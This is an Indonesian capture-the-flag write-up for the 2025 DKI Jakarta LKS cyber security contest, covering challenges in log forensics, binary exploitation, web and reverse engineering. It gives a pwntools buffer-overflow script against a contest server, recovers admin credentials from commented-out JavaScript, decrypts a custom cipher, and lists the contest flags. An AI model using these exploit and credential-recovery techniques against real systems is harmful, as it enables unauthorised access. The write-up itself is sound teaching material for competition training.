# Write Up LKS Cyber Security Tingkat Provinsi DKI JAKARTA 2025
**Kategori:** Jeopardy
---
## DIGITAL FORENSIC — PiggyBagger
Chall ini meminta kita untuk mencari log serangan SQLi dan RFI di web. Langsung aja kita lakukan dengan command **grep** log buat ngitung jumlah kejadian.
```bash
grep -i "sql" snort.log | grep -iE ".\asp[x]?" > sqli_aspnet_full.txt
wc -l sqli_aspnet_full.txt
grep -i "file inclusion" snort.log | grep -iE ".\php[x]?" > rfi_full.txt
wc -l rfi_full.txt
```
Hasil: `807` (SQLi) + `204` (RFI) = **1011**
**Flag:** `LKS{1011}`
---
## BINARY EXPLOITATION — JJ1
**Ringkasan:** Chall ini memiliki vulnerability dibagian `scanf("%s")` yang dipakai tanpa batasan. Buffer overflow di username bisa kita timpa saved RBP + return address, jadi kita overwrite return address ke `win()`.
### Coba kita analisa:
- Username buffer: `rbp-0x20` (32 byte)
- Password buffer: `rbp-0x40` (64 byte total stack area alokasi `sub $0x40, %rsp`)
- `scanf("%s", ...)` Karena tidak ngecek panjang input maka terjadi **overflow**.
### Payload untuk solve chall ini:
- Isi: `b'A' * 40 + p64(WIN_ADDR)`
- 32 byte 'A' untuk isi buffer username
- 8 byte 'A' untuk nimpain saved RBP
- 8 byte alamat `win()` untuk menimpa return address
### Exploit (solve.py)
```python
from pwn import *
exploit = remote('13.212.62.29', 11101)
winaddr = p64(0x401226)
payload = flat([
b'A' * 40,
winaddr,
])
exploit.recv()
exploit.sendline(payload)
exploit.recv()
exploit.sendline(b'terserahapapundehpasswordnya')
exploit.interactive()
```
**Flag:** `LKS{c70da980d0b226bd16d82682b094430f}`
---
## WEB EXPLOITATION — Yes
**Ringkesan:** Ini sebenarnya chall basic, ada `main.js` yang nampilin logic enkripsi Caesar-ish (shift), lalu saat kita liat `main.js`, kita akan menemukan username/password terenkripsi, jadi tinggal kita balik dekripsinya, login ke `/admin/login.php` dan ambil flag.
### `main.js`
```js
// Main JavaScript file for SecureApp
// function encrypt(text, shift) {
// let result = '';
// for (let i = 0; i < text.length; i++) {
// let char = text.charCodeAt(i);
// // Handle uppercase letters
// if (char >= 65 && char <= 90) {
// result += String.fromCharCode(((char - 65 + shift) % 26) + 65);
// }
// // Handle lowercase letters
// else if (char >= 97 && char <= 122) {
// result += String.fromCharCode(((char - 97 + shift) % 26) + 97);
// }
// // Handle numbers
// else if (char >= 48 && char <= 57) {
// result += String.fromCharCode(((char - 48 + shift) % 10) + 48);
// }
// // Handle special characters
// else {
// result += text.charAt(i);
// }
// }
// return result;
// }
// Backup Admin credentials (encrypted)
// Username: hktpu
// Password: 875j414231k8mi18593kij01l4h3290l
// Console log for curious users
console.log("Welcome to SecureApp!");
console.log("Remember to check our security features.");
// Add event listeners when DOM is loaded
document.addEventListener('DOMContentLoaded', function() {
// Add any interactive features here
const dummyFeature = document.querySelector('.dummy-feature');
if (dummyFeature) {
dummyFeature.addEventListener('click', function() {
console.log("Interesting... looking for something?");
console.log("Our admin system uses advanced encryption.");
console.log("Only those who understand our encryption can access it.");
});
}
});
```
### Script dekripsi (decrypt.js)
```js
function decrypt(text, shift) {
let result = "";
for (let i = 0; i < text.length; i++) {
let char = text.charCodeAt(i);
let decryptedChar;
if (char >= 65 && char <= 90) {
decryptedChar = String.fromCharCode(
((((char - 65 - shift) % 26) + 26) % 26) + 65
);
} else if (char >= 97 && char <= 122) {
decryptedChar = String.fromCharCode(
((((char - 97 - shift) % 26) + 26) % 26) + 97
);
} else if (char >= 48 && char <= 57) {
decryptedChar = String.fromCharCode(
((((char - 48 - shift) % 10) + 10) % 10) + 48
);
} else {
decryptedChar = text.charAt(i);
}
result += decryptedChar;
}
return result;
}
const encryptedUsername = "hktpu";
const encryptedPassword = "875j414231k8mi18593kij01l4h3290l";
for (let s = 0; s < 26; s++) {
const decryptedUsername = decrypt(encryptedUsername, s);
const decryptedPassword = decrypt(encryptedPassword, s);
if (decryptedUsername === "admin") {
console.log("Username: " + decryptedUsername);
console.log("Password: " + decryptedPassword);
console.log("Shift: " + s);
break;
}
}
}
```
Kita tes shift dari `0..25` sampai ketemu `username === "admin"`. Setelah dapat credential, login ke `/admin/login.php` dan dapatkan flagnya.
**Flag:** `LKS{8fe9bb2f776048191539eb236fb442aa}`
---
## REVERSE ENGINEERING — Nimberbolts
**Ringkasan:** Ini sebenarnya agak susah ya, banyak fungsi, expandKey, transform, ROL/ROR, dan loop 12 ronde. Intinya kita akan menemukan 4 DWORD key pas breakpoint pake gdb, terus kita pake script Python buat nge-decrypt ciphertext target.
### Hasil Analisa:
- `expandKey__chall_32` : berfungsi untuk nge-generate array S, mixing 78 ronde, lalu kita ambil 4 DWORD pertama sebagai KEYs.
- Cipher: blok 8-byte, 12 ronde, operasi rotasi & XOR & pengurangan konstanta.

### Key yang didapat
```
KEY_V44 = 0xe808da40
KEY_V43 = 0x1b6d1834
KEY_V14 = 0x0899ad31
KEY_V15 = 0xdbc6d939
```
### Solver :
```python
import ctypes
def ROL32(val, shift):
shift &= 0x1F
val = ctypes.c_uint32(val).value
return ctypes.c_uint32((val << shift) | (val >> (32 - shift))).value
def ROR32(val, shift):
shift &= 0x1F
val = ctypes.c_uint32(val).value
return ctypes.c_uint32((val >> shift) | (val << (32 - shift))).value
KEY_V44 = 0xe808da40
KEY_V43 = 0x1b6d1834
KEY_V14 = 0x0899ad31
KEY_V15 = 0xdbc6d939
target_hex_string = "EECDAF3793599828D33C2B8CA183C6DDCECA1E65DC899A601BF3BB0E885F25DD"
target_ciphertext_bytes = bytes.fromhex(target_hex_string)
decrypted_flag_bytes = bytearray()
num_blocks = len(target_ciphertext_bytes) // 8
for block_num in range(num_blocks):
offset = block_num * 8
O1_final = int.from_bytes(target_ciphertext_bytes[offset : offset+4], 'little')
O2_final = int.from_bytes(target_ciphertext_bytes[offset+4 : offset+8], 'little')
current_v19 = ctypes.c_uint32(O1_final).value
current_v20 = ctypes.c_uint32(O2_final).value
for _ in range(12): # 12 rounds
val_to_ror_for_v20 = ctypes.c_uint32(current_v20 - KEY_V15).value
rotated_val_for_v20 = ROR32(val_to_ror_for_v20, current_v19 & 0x1F)
v20_curr = ctypes.c_uint32(rotated_val_for_v20 ^ current_v19).value
val_to_ror_for_v19 = ctypes.c_uint32(current_v19 - KEY_V14).value
rotated_val_for_v19 = ROR32(val_to_ror_for_v19, v20_curr & 0x1F)
v19_curr = ctypes.c_uint32(rotated_val_for_v19 ^ v20_curr).value
current_v19 = v19_curr
current_v20 = v20_curr
user_dword0_transformed = ctypes.c_uint32(current_v19 - KEY_V44).value
user_dword1_transformed = ctypes.c_uint32(current_v20 - KEY_V43).value
decrypted_flag_bytes.extend(user_dword0_transformed.to_bytes(4, 'little'))
decrypted_flag_bytes.extend(user_dword1_transformed.to_bytes(4, 'little'))
print(decrypted_flag_bytes.decode('ascii'))
```
**Flag:** `LKS{u_are_a_N1m_3v3r$er5!!!}`
---
## Penutup
Writeup ini dibuat untuk menyemangati kalian yang berpartisipasi diajang LKS nanti, jadikan hal baru yaaaa :>
JANGAN LUPA MAINNN CTF!!!